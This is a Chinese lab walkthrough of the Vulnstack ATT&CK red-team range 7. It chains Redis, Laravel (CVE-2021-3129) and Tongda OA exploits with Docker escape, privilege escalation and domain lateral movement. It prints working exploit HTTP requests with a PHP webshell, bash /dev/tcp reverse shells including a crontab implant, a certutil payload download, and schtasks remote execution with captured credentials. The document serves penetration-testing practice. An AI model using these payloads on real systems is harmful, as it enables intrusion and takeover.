原创 | 从靶场学渗透之——ATT&CK实战系列-红队评估(七)
点击上方蓝字 关注我吧
环境搭建
靶场地址:
http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
路由器网段:10.0.0.0/24
VMnet8:192.168.52.0/24
VMnet14:192.168.93.0/24
信息收集
2.1 主机发现
nmap对C段扫描经行主机发现:
nmap -sn 10.0.0.0/24
发现存活主机IP10.0.0.155
2.2 端口扫描
nmap对10.0.0.155
的全端口经行扫描
nmap -p 1-65535 -sV 10.0.0.155
边界突破
3.1 从Redis未授权到Getshell
使用Goby对资产进行分析,发现了该6379端口所开的redis服务存在redis未授权漏洞:
Redis到Getshell的几种方式在https://paper.seebug.org/1169/#rce这篇文章中都有介绍,因为拍了快照这里我就采用主从复制RCE了,真实渗透中用此方法容易把redis打坏,然而我并没有复现成功,于是尝试写入ssh-key。
使用PuTTY生成密钥对,复制公钥和保存私钥
将公钥复制到文件中并对其首尾添加换行,避免和redis中的其他数据混合造成乱码,再将公钥写入redis缓存:
(echo -e "\n\n"; cat pub.txt; echo -e "\n\n") > 1.txt
cat 1.txt | redis-cli -h 10.0.0.155 -x set hacker
再连接redis设置备份路径和文件名并保存:
用PuTTY加载私钥ssh连接目标主机:
(其实第一遍做的时候直到这一步我才知道这台机子还桥接连了我的WiFi,看来靶场作者的本意是需要我从路由器网段打进去到第二层192.168.52.0/24网段。不仔细审题的结果。。。。。)
远程下载CS的Linux马,添加可执行权限并执行:
成功上线:
3.2 Laravel RCE
读取81端口的nginx配置文件/etc/nginx/conf.d/81.conf
,发现是反向代理了192.168.52.20:8000
,于是尝试拿下这台web服务器
访问http://10.0.0.155:8000发现是Laravel,记得今年刚出了一个CVE,看一下版本刚好可以打,利用CVE-2021-3129 一键 getshell工具
根据文档描述,用Godzilla连接webshell(不知道为啥用Godzilla 3.x的版本都显示初始化失败,用了V2.96才连接成功)
上传木马赋予可执行权限,上线CS:
查看根目录发现.dockerenv
文件,判断这是个docker容器:
3.3 环境变量提权
逃逸Docker有一种方法是利用脏牛(CVE-2016-5195),好处是不需要再提权了,直接可用逃逸到宿主机。看了内核版本似乎有希望,但很不幸我没成功:
而CVE-2019-5736的利用需要宿主机使用exec
命令登录Docker容器,条件比较苛刻。
看靶机的官方文档提示Linux环境变量提权,参考这篇文章,我们执行命令找一下所有的s权限位文件:
find / -perm -u=s -type f 2>/dev/null
发现/home/jobs/shell
文件
执行shell
文件并读取demo.c
文件,判断这个shell文件只执行了一个ps
命令可以使用环境变量提权:
先弹个shell到我们已经ssh登录的边缘服务器上:
bash -c 'bash -i &>/dev/tcp/192.168.52.10/9999 <&1'
尝试使用echo命令法:
echo "/bin/bash" > /tmp/ps
chmod 777 /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell
成功提权:
将root权限上线到cs:
3.4 Docker逃逸
Docker容器内运行命令fdisk -l
发现有物理磁盘,判断容器是特权模式启动,准备尝试特权模式逃逸
将sda1挂载到自己创建的目录
将反弹shell的命令注入到定时计划中:
echo '* * * * * bash -i >& /dev/tcp/192.168.52.10/9998 0>&1' >> /a/var/spool/cron/crontabs/root
过了一段时间发现怎么也等不到shell弹回来,只好换一种方法。想到了拿边缘服务器时用的方法,先写authorized_keys然后挂代理登录。(PS:代理的搭建写在第4.1.1小节了)
同样用puttygen生成密钥对,将公钥写入/a/root/.ssh/authorized_keys
中
使用PuTTY,配置登录ip、登录用户名、socks代理、私钥等信息:
ssh登录web2:
上线cs:
此时发现还有192.168.93.0/24
网段
内网渗透
4.1 二层网络渗透
在Getshell边缘服务器时我们发现了192.168.52.0/24
网段,为了进行深层网络渗透需要添加代理、收集本地信息和内网信息等操作。
4.1.1 代理搞里头
考虑到网络延时的问题,决定在边缘服务器192.168.52.10
部署frps和frpc,使外部网络可以通过socks代理的方式访问内网
配置frps和frpc的配置文件:
下载到服务器并赋予执行权限,分别启动frps和frpc:
测试一下:
4.1.2 内网信息收集
对第二层网络进行扫描,发现192.168.52.30
使用fscan挂代理对其进行扫描发现有个通达OA
4.1.3 通达OA组合拳Getshell
配置Proxifier全局代理规则,仅对192.168.52.0/24
使用sockes代理进行通信。
未授权文件上传漏洞:
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
Content-Length: 500
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
上传的文件路径为2103/1905675555.jpg
文件包含漏洞
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 10.0.0.155
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 69
Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../attach/im/2103/1905675555.jpg"}&cmd=whoami
将CS生成的马上传到VPS,执行命令远程下载(延迟特别大,需要忍一下):
certutil -urlcache -split -f http://xxxx/shell.exe
执行上线:
4.2 三层网络渗透
使用CS插件梼杌
带的OnlinePC扫描三层网段存活的主机:
发现除了Web2和PC1还存在两台主机分别是192.168.93.30
和192.168.93.40
看到192.168.93.30
主机名比较可疑,ping一下域名:
判断192.168.93.30
就是域控,本地抓一下密码看看:
抓到域管理员用户密码:administrator\Whoami2021
4.2.2 横向移动
测试域管账户是否可用:
net use \\192.168.93.30 /user:administrator "Whoami2021"
dir \\192.168.93.30\C$
在PC1上设置监听器做中转会话:
选择Listener生成木马:
将生成的木马上传到PC1,并从PC1上传到域控:
设置计划任务:
schtasks /create /s 192.168.93.30 /u administrator /p "Whoami2021" /sc MINUTE /mo 1 /tn test /tr "C:\\beacon.exe"
等待域控上线:
同样操作拿下另一台主机192.168.93.40
:
权限维持
维持是不可能的维持的,云服务器马上就到期了还没续费
至此,所有上线主机:
总结
做靶机的时候被卡在环境变量提权,太菜了,幸好是靶机,还有积累学习的机会。
注意到文中有些图片上传到平台后就比较模糊,如果有需要的话可留言邮箱,我发PDF版给大家。
如若文中有哪里分析的不到位,还请海涵并指出错误。
本篇参考:
https://www.freebuf.com/articles/network/264560.html
https://paper.seebug.org/1169/#rce
http://www.361way.com/path-attack/5955.html